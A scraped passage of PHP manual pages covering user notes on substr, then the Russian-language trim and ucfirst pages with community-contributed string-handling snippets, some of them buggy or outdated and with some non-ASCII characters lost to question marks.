output: c:/some dir/abc defg. hi

Hope it may help somebody like me.. (^_^)
Andreas Bur (andreas dot buro at gmail dot com) 29-Apr-2009 06:25
For getting a substring of UTF-8 characters, I highly recommend mb_substr

<?php
        $utf8string = "cake?oa";

        echo substr($utf8string,0,5);
        // output cake#
        echo mb_substr($utf8string,0,5,'UTF-8');
        //output cake?
?>
webmaster at oehoeboeroe dot nl 18-Apr-2009 02:07
You might expect substr('123456', 6) to return an empty string. Instead it returns boolean FALSE.

This behavior should be mentioned in the Return Values section of the manual. Instead it is only mentioned in the Parameters section.

If you need an empty string instead of a boolean FALSE you should typecast the result to a string.

<?php
$a = substr('123456', 6);              // equivalent to $a = FALSE
$a = (string) substr('123456', 6);   // equivalent to $a = '';
?>
link 21-Mar-2009 05:52
And as always there is bound to be a bug:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;($i<=$end && isset($textarray[$i]));$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
link 20-Mar-2009 07:19
I created some functions for entity-safe splitting+lengthcounting:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;$i<=$end;$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
mar dot czapla at gmail dot com 24-Oct-2008 02:31
Here we have gr8 function which simply convert ip address to a number using substr with negative offset.
You can need it if you want to compare some IP addresses converted to a numbers.
For example when using ip2country, or eliminating same range of ip addresses from your website :D

<?php

function ip2no($val)
{
    list($A,$B,$C,$D)    =    explode(".",$val);
    return
        substr("000".$A,-3).
        substr("000".$B,-3).
        substr("000".$C,-3).
        substr("000".$D,-3);
}

$min        =    ip2no("10.11.1.0");
$max        =    ip2no("111.11.1.0");
$visitor    =    ip2no("105.1.20.200");

if($min<$visitor && $visitor<$max)
    {    echo 'Welcome !';    }
else
    {    echo 'Get out of here !';    }

?>
post [at] jannik - zappe [dot] de 05-Aug-2008 07:59
Just a little function to cut a string by the wanted amount. Works in both directions.

<?php
function cutString($str, $amount = 1, $dir = "right")
{
  if(($n = strlen($str)) > 0)
  {
    if($dir == "right")
    {
      $start = 0;
      $end = $n-$amount;
    } elseif( $dir == "left") {
      $start = $amount;
      $end = $n;
    }

    return substr($str, $start, $end);
  } else return false;
}
?>

Enjoy ;)
kriskra at gmail dot com 29-Feb-2008 05:21
The javascript charAt equivalent in php of felipe has a little bug. It's necessary to compare the type (implicit) aswell or the function returns a wrong result:
<?php
function charAt($str,$pos) {
    return (substr($str,$pos,1) !== false) ? substr($str,$pos,1) : -1;
}
?>
Petez 31-Aug-2007 03:56
I wanted to work out the fastest way to get the first few characters from a string, so I ran the following experiment to compare substr, direct string access and strstr:

<?php
/* substr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = substr($string,0,11);
    if ($opening == 'Lorem ipsum'){
        true;
    }else{
        false;
    }
}
$endtime1 = endTimer();

/* direct access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    if ($string[0] == 'L' && $string[1] == 'o' && $string[2] == 'r' && $string[3] == 'e' && $string[4] == 'm' && $string[5] == ' ' && $string[6] == 'i' && $string[7] == 'p' && $string[8] == 's' && $string[9] == 'u' && $string[10] == 'm'){
        true;
    }else{
        false;
    }
}
$endtime2 = endTimer();

/* strstr access */
beginTimer();
for ($i = 0; $i < 1500000; $i++){
    $opening = strstr($string,'Lorem ipsum');
    if ($opening == true){
        true;
    }else{
        false;
    }
}
$endtime3 = endTimer();

echo $endtime1."\r\n".$endtime2."\r\n".$endtime3;
?>

The string was 6 paragraphs of Lorem Ipsum, and I was trying match the first two words. The experiment was run 3 times and averaged. The results were:

(substr) 3.24
(direct access) 11.49
(strstr) 4.96

(With standard deviations 0.01, 0.02 and 0.04)

THEREFORE substr is the fastest of the three methods for getting the first few letters of a string.
egingell at sisna dot com 19-Oct-2006 03:19
<?php

/**
 * string substrpos(string $str, mixed $start [[, mixed $end], boolean $ignore_case])
 *
 * If $start is a string, substrpos will return the string from the position of the first occuring $start to $end
 *
 * If $end is a string, substrpos will return the string from $start to the position of the first occuring $end
 *
 * If the first character in (string) $start or (string) $end is '-', the last occuring string will be used.
 *
 * If $ignore_case is true, substrpos will not care about the case.
 * If $ignore_case is false (or anything that is not (boolean) true, the function will be case sensitive.
 *        Both of the above: only applies if either $start or $end are strings.
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', 5, '5');
 *        // Prints 'is a string with 01234';
 *
 * echo substrpos('This is a string with 0123456789 numbers in it.', '5', 5);
 *        // Prints '56789'
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-string')
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', true)
 *        // Prints 's is a string with 0123456789 numbers in it and two '
 *
 * echo substrpos('This is a string with 0123456789 numbers in it and two strings.', -60, '-STRING', false)
 *        // Prints 's is a string with 0123456789 numbers in it and two strings.'
 *
 * Warnings:
 *        Since $start and $end both take either a string or an integer:
 *            If the character or string you are searching $str for is a number, pass it as a quoted string.
 *        If $end is (integer) 0, an empty string will be returned.
 *        Since this function takes negative strings ('-search_string'):
 *            If the string your using in $start or $end is a '-' or begins with a '-' escape it with a '\'.
 *            This only applies to the *first* character of $start or $end.
 */

// Define stripos() if not defined (PHP < 5).
if (!is_callable("stripos")) {
    function stripos($str, $needle, $offset = 0) {
        return strpos(strtolower($str), strtolower($needle), $offset);
    }
}

function substrpos($str, $start, $end = false, $ignore_case = false) {
    // Use variable functions
    if ($ignore_case === true) {
        $strpos = 'stripos'; // stripos() is included above in case it's not defined (PHP < 5).
    } else {
        $strpos = 'strpos';
    }

    // If end is false, set it to the length of $str
    if ($end === false) {
        $end = strlen($str);
    }

    // If $start is a string do what's needed to make it an integer position for substr().
    if (is_string($start)) {
        // If $start begins with '-' start processing until there's no more matches and use the last one found.
        if ($start{0} == '-') {
            // Strip off the '-'
            $start = substr($start, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = $strpos($str, $start, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            // If $start begins with '\-', strip off the '\'.
            if ($start{0} . $start{1} == '\-') {
                $start = substr($start, 1);
            }
            $pos = $strpos($str, $start);
        }
        $start = $pos !== false ? $pos : 0;
    }

    // Chop the string from $start to strlen($str).
    $str = substr($str, $start);

    // If $end is a string, do exactly what was done to $start, above.
    if (is_string($end)) {
        if ($end{0} == '-') {
            $end = substr($end, 1);
            $found = false;
            $pos = 0;
            while(($curr_pos = strpos($str, $end, $pos)) !== false) {
                $found = true;
                $pos = $curr_pos + 1;
            }
            if ($found === false) {
                $pos = false;
            } else {
                $pos -= 1;
            }
        } else {
            if ($end{0} . $end{1} == '\-') {
                $end = substr($end, 1);
            }
            $pos = $strpos($str, $end);
        }
        $end = $pos !== false ? $pos : strlen($str);
    }

    // Since $str has already been chopped at $start, we can pass 0 as the new $start for substr()
    return substr($str, 0, $end);
}

?>
Bradley from California 10-Jan-2006 01:34
Add on to (a function originally written by) "Matias from Argentina": str_format_number function.

Just added handling of $String shorter then $Format by adding a side to start the fill and a string length to the while loop.

<?php
function str_format_number($String, $Format, $Start = 'left'){
    //If we want to fill from right to left incase string is shorter then format
    if ($Start == 'right') {
        $String = strrev($String);
        $Format = strrev($Format);
    }
    if($Format == '') return $String;
    if($String == '') return $String;
    $Result = '';
    $FormatPos = 0;
    $StringPos = 0;
    while ((strlen($Format) - 1) >= $FormatPos && strlen($String) > $StringPos) {
        //If its a number => stores it
        if (is_numeric(substr($Format, $FormatPos, 1))) {
            $Result .= substr($String, $StringPos, 1);
            $StringPos++;
            //If it is not a number => stores the caracter
        } else {
            $Result .= substr($Format, $FormatPos, 1);
        }
        //Next caracter at the mask.
        $FormatPos++;
    }
    if ($Start == 'right') $Result = strrev($Result);
    return $Result;
}
?>
frank at jkelloggs dot dk 25-Jul-2005 02:37
Regarding the utf8_substr function from lmak: The pattern '/./u' doesn't match newline characters. This means that the substring from 0 to the total length of the string will miss the number of characters in the end matching the number of newlines in the string. To fix this one can add the s modifier (PCRE_DOTALL) in the pattern:

<?php
function utf8_substr($str,$start)
{
   preg_match_all("/./su", $str, $ar);

   if(func_num_args() >= 3) {
       $end = func_get_arg(2);
       return join("",array_slice($ar[0],$start,$end));
   } else {
       return join("",array_slice($ar[0],$start));
   }
}
?>
php_net at thomas dot trella dot de 29-Jun-2005 08:07
I needed to cut a string after x chars at a  html converted utf-8 text (for example Japanese text like &#23344;&#35632;&#24368;&#33072;&#27440;&#32591;).
The problem was, the different length of the signs, so I wrote the following function to handle that.
Perhaps it helps.

<?php

function html_cutstr ($str, $len)
{
    if (!preg_match('/\&#[0-9]*;.*/i', $str))
    {
        $rVal = strlen($str, $len);
        break;
    }

    $chars = 0;
    $start = 0;
    for($i=0; $i < strlen($str); $i++)
    {
        if ($chars >= $len)
        break;

        $str_tmp = substr($str, $start, $i-$start);
        if (preg_match('/\&#[0-9]*;.*/i', $str_tmp))
        {
            $chars++;
            $start = $i;
        }
    }
    $rVal = substr($str, 0, $start);
    if (strlen($str) > $start)
    $rVal .= " ...";
    return $rVal;
}
?>
ivanhoe011 at gmail dot com 07-Jun-2005 08:31
If you need just a single character from the string you don't need to use substr(), just use curly braces notation:

<?php
    // both lines will output the 3rd character
    echo substr($my_string, 2, 1);
    echo $my_string{2};
?>

curly braces syntax is faster and more readable IMHO..
rob NOSPAM at clancentric dot net 07-Jun-2005 03:43
I have developed a function with a similar outcome to jay's

Checks if the last character is or isnt a space. (does it the normal way if it is)
It explodes the string into an array of seperate works, the effect is... it chops off anything after and including the last space.

<?php
function limit_string($string, $charlimit)
{
    if(substr($string,$charlimit-1,1) != ' ')
    {
        $string = substr($string,'0',$charlimit);
        $array = explode(' ',$string);
        array_pop($array);
        $new_string = implode(' ',$array);

        return $new_string.'...';
    }
    else
    {
        return substr($string,'0',$charlimit-1).'...';
    }
}
?>
bleakwind at msn dot com 25-May-2005 10:11
This returns the portion of str specified by the start and length parameters..
It can performs multi-byte safe on number of characters. like mb_strcut() ...

Note:
1.Use it like this bite_str(string str, int start, int length [,byte of on string]);
2.First character's position is 0. Second character position is 1, and so on...
3.$byte is one character length of your encoding, For example: utf-8 is "3", gb2312 and big5 is "2"...you can use the function strlen() get it...
Enjoy it :) ...

--- Bleakwind
QQ:940641
http://www.weaverdream.com

PS:I'm sorry my english is too poor... :(

<?php
// String intercept By Bleakwind
// utf-8:$byte=3 | gb2312:$byte=2 | big5:$byte=2
function bite_str($string, $start, $len, $byte=3)
{
    $str     = "";
    $count   = 0;
    $str_len = strlen($string);
    for ($i=0; $i<$str_len; $i++) {
        if (($count+1-$start)>$len) {
            $str  .= "...";
            break;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count < $start)) {
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count < $start)) {
            $count = $count+2;
            $i     = $i+$byte-1;
        } elseif ((ord(substr($string,$i,1)) <= 128) && ($count >= $start)) {
            $str  .= substr($string,$i,1);
            $count++;
        } elseif ((ord(substr($string,$i,1)) > 128) && ($count >= $start)) {
            $str  .= substr($string,$i,$byte);
            $count = $count+2;
            $i     = $i+$byte-1;
        }
    }
    return $str;
}

// Test
$str = "123456?????123456?????123456???????";
for($i=0;$i<30;$i++){
    echo "<br>".bite_str($str,$i,20);
}
?>
fanfatal at fanfatal dot pl 16-May-2005 11:45
Hmm ... this is a script I wrote, whitch is very similar to substr, but it isn't takes html and bbcode for counting and it takes portion of string and show avoided (html & bbcode) tags too ;]
Specially usefull for show part of serach result included html and bbcode tags

<?php

/**
 * string csubstr ( string string, int start [, int length] )
 *
 * @author FanFataL
 * @param string string
 * @param int start
 * @param [int length]
 * @return string
 */
function csubstr($string, $start, $length=false) {
    $pattern = '/(\[\w+[^\]]*?\]|\[\/\w+\]|<\w+[^>]*?>|<\/\w+>)/i';
    $clean = preg_replace($pattern, chr(1), $string);
    if(!$length)
        $str = substr($clean, $start);
    else {
        $str = substr($clean, $start, $length);
        $str = substr($clean, $start, $length + substr_count($str, chr(1)));
    }
    $pattern = str_replace(chr(1),'(.*?)',preg_quote($str));
    if(preg_match('/'.$pattern.'/is', $string, $matched))
        return $matched[0];
    return $string;
}

?>

Using this is similar to simple substr.

Greatings ;]
...
woutermb at gmail dot com 21-Mar-2005 11:19
Well this is a script I wrote, what it does is chop up long words with malicious meaning into several parts. This way, a chat in a table will not get stretched anymore.

<?php

function text($string,$limit=20,$chop=10){

$text = explode(" ",$string);
while(list($key, $value) = each($text)){
    $length = strlen($value);
    if($length >=20){
        for($i=0;$i<=$length;$i+=10){
            $new .= substr($value, $i, 10);
            $new .= " ";
        }
         $post .= $new;
    }
    elseif($length <=15){
        $post .= $value;
    }
    $post .= " ";
}
return($post);
}

// for example, this would return:
$output = text("Well this text doesn't get cut up, yet thisssssssssssssssssssssssss one does.", 10, 5);

echo($output); // "Well this text doesn't get cup up, yet thiss sssss sssss sssss sssss sss one does."
?>

I hope it was useful.. :)
steve at unicycle dot co dot nz 13-Mar-2005 09:34
To quickly trim an optional trailing slash off the end of a path name:

if (substr( $path, -1 ) == '/') $path = substr( $path, 0, -1 );


Удаляет пробелы (или другие символы) из начала и конца строки

  • « substr
  • ucfirst »
  • PHP Manual
  • Функции для работы со строками
  • Удаляет пробелы (или другие символы) из начала и конца строки

trim

(PHP 4, PHP 5, PHP 7, PHP 8)

trim — Удаляет пробелы (или другие символы) из начала и конца строки

Описание

trim(string $string, string $characters = " \n\r\t\v\x00"): string

Эта функция возвращает строку string с удалёнными из начала и конца строки пробелами. Если второй параметр не передан, trim() удаляет следующие символы:

  • " " (ASCII 32 (0x20)), обычный пробел.
  • "\t" (ASCII 9 (0x09)), символ табуляции.
  • "\n" (ASCII 10 (0x0A)), символ перевода строки.
  • "\r" (ASCII 13 (0x0D)), символ возврата каретки.
  • "\0" (ASCII 0 (0x00)), NUL-байт.
  • "\v" (ASCII 11 (0x0B)), вертикальная табуляция.

Список параметров

string

Обрезаемая строка (string).

characters

Можно также задать список символов для удаления с помощью необязательного аргумента characters. Просто перечислите все символы, которые вы хотите удалить. Можно указать конструкцию .. для обозначения диапазона символов.

Возвращаемые значения

Обрезаемая строка.

Примеры

Пример #1 Пример использования trim()

<?php

$text = "\t\tThese are a few words :) ... ";
$binary = "\x09Example string\x0A";
$hello = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = trim($text);
var_dump($trimmed);

$trimmed = trim($text, " \t.");
var_dump($trimmed);

$trimmed = trim($hello, "Hdle");
var_dump($trimmed);

$trimmed = trim($hello, 'HdWr');
var_dump($trimmed);

// удаляем управляющие ASCII-символы с начала и конца $binary
// (от 0 до 31 включительно)
$clean = trim($binary, "\x00..\x1F");
var_dump($clean);

?>

Результат выполнения приведённого примера:

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(28) "These are a few words :) ..."
string(24) "These are a few words :)"
string(5) "o Wor"
string(9) "ello Worl"
string(14) "Example string"

Пример #2 Обрезание значений массива с помощью trim()

<?php
function trim_value(&$value)
{
$value = trim($value);
}

$fruit = array('apple','banana ', ' cranberry ');
var_dump($fruit);

array_walk($fruit, 'trim_value');
var_dump($fruit);

?>

Результат выполнения приведённого примера:

array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(7) "banana "
  [2]=>
  string(11) " cranberry "
}
array(3) {
  [0]=>
  string(5) "apple"
  [1]=>
  string(6) "banana"
  [2]=>
  string(9) "cranberry"
}

Примечания

Замечание: Возможные трюки: удаление символов из середины строки

Так как trim() удаляет символы с начала и конца строки string, то удаление (или не удаление) символов из середины строки может ввести в недоумение. trim('abc', 'bad') удалит как 'a', так и 'b', потому что удаление 'a' сдвинет 'b' к началу строки, что также позволит её удалить. Вот почему это "работает", тогда как trim('abc', 'b') очевидно нет.

Смотрите также

  • ltrim() - Удаляет пробелы (или другие символы) из начала строки
  • rtrim() - Удаляет пробелы (или другие символы) из конца строки
  • str_replace() - Заменяет вхождения строки поиска строкой замены

User Contributed Notes

zoad_aish at gmail dot com 29-Apr-2024 11:04
I wanted to bring to your attention a peculiar behavior in PHP that might catch some of us off guard, particularly when dealing with string manipulation.

When using the trim() function in PHP with a variable assigned as null, the result might not be what you expect. Instead of returning null, trim() will actually return an empty string "".

Here's a quick example to illustrate:
$txt = null;
var_dump($txt);  // Outputs: NULL
$txt = trim($txt);
echo "<br>";
var_dump($txt);  // Outputs: string(0) ""

As you can see, even though the initial value of $txt is null, after applying trim(), it becomes an empty string "".

This behavior might seem counterintuitive at first, so it's important to keep it in mind, especially when handling user input or dealing with data that might contain null values.

Understanding these nuances can save us from unexpected bugs and make our code more robust.
gwyneth dot llewelyn at gwynethllewelyn dot net 03-Jul-2023 07:04
Note that trim() is not aware of Unicode points that represent whitespace (e.g., in the General Punctuation block), except, of course, for the ones mentioned in this page.

There is no Unicode-specific trim function in PHP at the time of writing (July 2023), but you can try some examples of trims using multibyte strings posted on the comments for the mbstring extension: https://www.php.net/manual/en/ref.mbstring.php
pcoates at yukon1000 dot com 01-May-2023 07:23
note there is a behaviour change in php 8

You used to be able to say:
$p1 = trim($_POST['p1']);
This will now throw deprecated warnings if parameter p1 is not set. It is better to say:
$p1 = trim($_POST['p1']??'');
or
$p1 = isset($_POST['p1']) ? trim($_POST['p1']) : null;
or
$p1 = isset($_POST['p1']) ? trim($_POST['p1']) : '';


Преобразовывает первый символ строки в верхний регистр

  • « trim
  • ucwords »
  • PHP Manual
  • Функции для работы со строками
  • Преобразовывает первый символ строки в верхний регистр

ucfirst

(PHP 4, PHP 5, PHP 7, PHP 8)

ucfirst — Преобразовывает первый символ строки в верхний регистр

Описание

ucfirst(string $string): string

Возвращает строку string, в которой первый символ переведён в верхний регистр, если этот символ является символом ASCII в диапазоне от "a" (0x61) до "z" (0x7a).

Список параметров

string

Входная строка.

Возвращаемые значения

Возвращает результирующую строку.

Список изменений

Версия | Описание
8.2.0 | Приведение к единому регистру больше не зависит от настроек региональных установок, которые установили функцией setlocale(). Преобразовываются только символы кодировки ASCII.

Примеры

Пример #1 Пример использования функции ucfirst()

<?php
$foo = 'hello world!';
$foo = ucfirst($foo); // Hello world!

$bar = 'HELLO WORLD!';
$bar = ucfirst($bar); // HELLO WORLD!
$bar = ucfirst(strtolower($bar)); // Hello world!
?>

Смотрите также

  • lcfirst() - Преобразовывает первый символ строки в нижний регистр
  • strtolower() - Преобразовывает строку в нижний регистр
  • strtoupper() - Преобразовывает строку в верхний регистр
  • ucwords() - Преобразовывает в верхний регистр первый символ каждого слова в строке
  • mb_convert_case() - Меняет регистр символов в строке

User Contributed Notes

Ekin 31-Aug-2020 10:39
Using this function for Turkish language is won't work because of multi-byte characters. But you can use some tricks:

<?php
function ucfirst_tr($str) {
    $trMap = ['G'=>'g','U'=>'u','S'=>'s','I'=>'i','O'=>'o','C'=>'c','I'=>'?'];
    $str = mb_strtolower(strtr($str, $trMap));
    $first = mb_substr($str, 0, 1);
    $first = strtr($first, array_flip($trMap));
    $first = mb_strtoupper($first);
    return $first . mb_substr($str, 1);
}
?>
divinity76 at gmail dot com 18-Nov-2019 12:59
here is how mb_ucfirst should be implemented in userland

<?php

function mb_ucfirst(string $str, string $encoding = null): string
{
    if ($encoding === null) {
        $encoding = mb_internal_encoding();
    }
    return mb_strtoupper(mb_substr($str, 0, 1, $encoding), $encoding) . mb_substr($str, 1, null, $encoding);
}
?>

(when i wrote this comment, everybody else's attempt got it wrong for one reason or another, for example: some don't allow you to specify encoding, and some defaulted to utf-8 instead of defaulting to mb_internal_encoding() )
Anonymous 23-Aug-2017 12:48
Format the input string:

<?php

function ucsentences($string){
    $parts = preg_split('/([^\.\!\?;]+[\.\!\?;"]+)/', strtolower($string), (-1), PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);
    $r = '';
    foreach($parts as $key=>$sentence){
        $r .= ucfirst(trim($sentence)) . ' ';
    }
    $r = preg_replace('/\bi\b/', 'I', $r);
    $r = preg_replace_callback('/("[a-z])/', function($m){ return strtoupper($m[0]);}, $r);
    return rtrim($r);
}

$str = 'i\'m not sure. if this is good enough, but i thought: "hey, who know\'s. maybe i am right."';

?>
Outputs:
I'm not sure. If this is good enough, but I thought: "Hey, who know's. Maybe I am right."
nospam at nospam dot com 22-Feb-2017 07:46
Improved method of capitalizing first characters of sentences.
The first two manipulations (double spaces & all caps) are optional so can be removed without harm.

<?php
// return string with first letters of sentences capitalized
function ucsentence($str) {
  if ($str) { // input
    $str = preg_replace('/'.chr(32).chr(32).'+/', chr(32), $str); // recursively replaces all double spaces with a space
    if (($x = substr($str, 0, 10)) && ($x == strtoupper($x))) $str = strtolower($str); // sample of first 10 chars is ALLCAPS so convert $str to lowercase; if always done then any proper capitals would be lost
    $na = array('. ', '! ', '? '); // punctuation needles
    foreach ($na as $n) { // each punctuation needle
      if (strpos($str, $n) !== false) { // punctuation needle found
        $sa = explode($n, $str); // split
        foreach ($sa as $s) $ca[] = ucfirst($s); // capitalize
        $str = implode($n, $ca); // replace $str with rebuilt version
        unset($ca); //  clear for next loop
      }
    }
    return ucfirst(trim($str)); // capitalize first letter in case no punctuation needles found
  }
}
?>

"heLLo EarthLing!" >> "HeLLo EarthLing!"
"I'M MOSTLY. caps!  " >> "I'm mostly. Caps!"
"ALLCAPS" >> "Allcaps"
"i haVe neST.ed punct,u.ation!  sp    A  c es.  and CAPs..  " >> "I haVe neST.ed punct,u.ation! Sp A c es. And CAPs.."
kiprasbal at gmail dot com 16-May-2014 06:34
My version, converst first letter of the first word in the string to uppercase

public function mb_ucfirst($str) {
        $aParts = explode(" ",$str);
        $firstWord = mb_convert_case($aParts[0],MB_CASE_TITLE,"UTF-8");
        unset($aParts[0]);

        return $firstWord." ".implode(" ",$aParts);
    }
mingalevme at gmail dot com 05-Dec-2013 10:32
Implementation of multi-bytes ucfirst for "multiword"-strings (module mbstring is required):

<?php

public static function ucfirst($str)
{
    $str = mb_strtolower($str);
    $words = preg_split('/\b/u', $str, -1, PREG_SPLIT_NO_EMPTY);
    foreach ($words as $word) {
        $ucword = mb_strtoupper(mb_substr($word, 0, 1)) . mb_substr($word, 1);
        $str = str_replace($word, $ucword, $str);
    }
    return $str;
}

?>
Nethor 05-Oct-2012 04:14
Simple but workable solution:

<?php
mb_internal_encoding("UTF-8");  // before calling the function

function utf8_ucfirst($str){
    preg_match_all("~^(.)(.*)$~u", $str, $arr);
    return mb_strtoupper($arr[1][0]).$arr[2][0];
    }
?>
idont at remember dot it 18-May-2012 11:21
In case you need a French version of ucfirst:

"ete indien" => "Ete indien"
"ca va?" => "Ca va?"

<?php
function frenchUcfirst($v) {
  $lowCase  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE7\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
  $lowCase .= "\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFF\\u0161";
  $upperCase = "AAAAAA\\xC7EEEEIIIINOOOOOOUUUUYYS";
  return strtoupper(strtr(substr($v, 0, 1), $lowCase, $upperCase)) . substr($v, 1);
}
?>

Note:
- Latin non french accented characters follow the same rule:
"anda" => "Anda"
- Non ASCII characters in the function are in HEX format to avoid encoding issue...
qeremy [atta] gmail [dotta] com 27-Feb-2012 04:41
A proper Turkish solution;

<?php
function ucfirst_turkish($str) {
    $tmp = preg_split("//u", $str, 2, PREG_SPLIT_NO_EMPTY);
    return mb_convert_case(
        str_replace("i", "I", $tmp[0]), MB_CASE_TITLE, "UTF-8").
        $tmp[1];
}

$str = "iyilik guzelLIK";
echo ucfirst($str) ."\n";   // Iyilik guzelLIK
echo ucfirst_turkish($str); // Iyilik guzelLIK
?>
vlknmtn at gmail dot com 17-Aug-2011 04:31
Turkish solution:

<?php
mb_internal_encoding("UTF-8");
mb_regex_encoding("UTF-8");

function tr_ilkbuyuk($text)
{
    $text = str_replace("I","?",$text);
    $text = mb_strtolower($text, 'UTF-8');

    if($text[0] == "i")
        $tr_text = "I".substr($text, 1);
    else
        $tr_text = mb_convert_case($text, MB_CASE_TITLE, "UTF-8");

    return trim($tr_text);
}

function tr_ucwords($text)
{
    $p = explode(" ",$text);
    if(is_array($p))
    {
        $tr_text = "";
        foreach($p AS $item)
            $tr_text .= " ".tr_ilkbuyuk($item);

        return trim($tr_text);
    }
    else
        return tr_ilkbuyuk($text);
}

$deger = "?isllslsdg";

echo tr_ucwords($deger);

?>
Quicker 10-May-2011 01:53
if you want to ucfirst for utf8 try this one:

<?php
function ucfirst_utf8($stri){
 if($stri{0}>="\xc3")
     return (($stri{1}>="\xa0")?
     ($stri{0}.chr(ord($stri{1})-32)):
     ($stri{0}.$stri{1})).substr($stri,2);
 else return ucfirst($stri);
}
?>

It is quick, not language (but utf8) dependend and does not use any mb-functions such as mb_ucfirst.
pete at namecube dot net 11-Apr-2010 07:08
for anyone wanting to ucfirst each word in a sentence this works for me:

<?php
function ucfirst_sentence($str)
{
    return preg_replace('/\b(\w)/e', 'strtoupper("$1")', $str);
}
?>
wilfried dot loche at fr dot adp dot com 22-Jan-2010 02:22
If someone looks for the equivalent on Oracle DB, here it is: INITCAP. Hope this helps!
octavius 26-Sep-2009 05:18
For lithuanian text with utf-8 encoding I use two functions (thanks [mattalexxpub at gmail dot com] and Svetoslav Marinov)

<?php
function my_ucfirst($string, $e ='utf-8') {
    if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
        $string = mb_strtolower($string, $e);
        $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
    }
    else {
        $string = ucfirst($string);
    }
    return $string;
}

function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            my_ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}
?>
bgschool 30-Jul-2009 04:39
Simple function for use ucfirst with utf-8 encoded cyrylic text

<?php
    public function capitalize_first($str) {
        $line = iconv("UTF-8", "Windows-1251", $str); // convert to windows-1251
        $line = ucfirst($line);
        $line = iconv("Windows-1251", "UTF-8", $line); // convert back to utf-8

        return $line;
    }
?>
svetoslavm at gmail dot com 20-Nov-2008 07:40
For some reason this worked for me.

Mac OS 10.5.1
PHP 5.2.6

<?php
   /**
     * ucfirst UTF-8 aware function
     *
     * @param string $string
     * @return string
     * @see http://ca.php.net/ucfirst
     */
    function my_ucfirst($string, $e ='utf-8') {
        if (function_exists('mb_strtoupper') && function_exists('mb_substr') && !empty($string)) {
            $string = mb_strtolower($string, $e);
            $upper = mb_strtoupper($string, $e);
            preg_match('#(.)#us', $upper, $matches);
            $string = $matches[1] . mb_substr($string, 1, mb_strlen($string, $e), $e);
        } else {
            $string = ucfirst($string);
        }
        return $string;
    }
?>

Svetoslav Marinov
http://slavi.biz
mattalexxpub at gmail dot com 09-Nov-2008 05:10
This is what I use for converting strings to sentence case:

<?php
function sentence_case($string) {
    $sentences = preg_split('/([.?!]+)/', $string, -1, PREG_SPLIT_NO_EMPTY|PREG_SPLIT_DELIM_CAPTURE);
    $new_string = '';
    foreach ($sentences as $key => $sentence) {
        $new_string .= ($key & 1) == 0?
            ucfirst(strtolower(trim($sentence))) :
            $sentence.' ';
    }
    return trim($new_string);
}

print sentence_case('HMM. WOW! WHAT?');

// Outputs: "Hmm. Wow! What?"
?>
prokur.net - there is my email 29-Jun-2008 03:01
I believe that mb_ucfirst will be soon added in PHP, but for now this could be useful
<?php

if (!function_exists('mb_ucfirst') && function_exists('mb_substr')) {
    function mb_ucfirst($string) {
        $string = mb_strtoupper(mb_substr($string, 0, 1)) . mb_substr($string, 1);
        return $string;
    }
}

?>

it also check is mb support enabled or not
charliefortune 20-Feb-2008 03:48
Here's a function to capitalize segments of a name, and put the rest into lower case. You can pass the characters you want to use as delimiters.

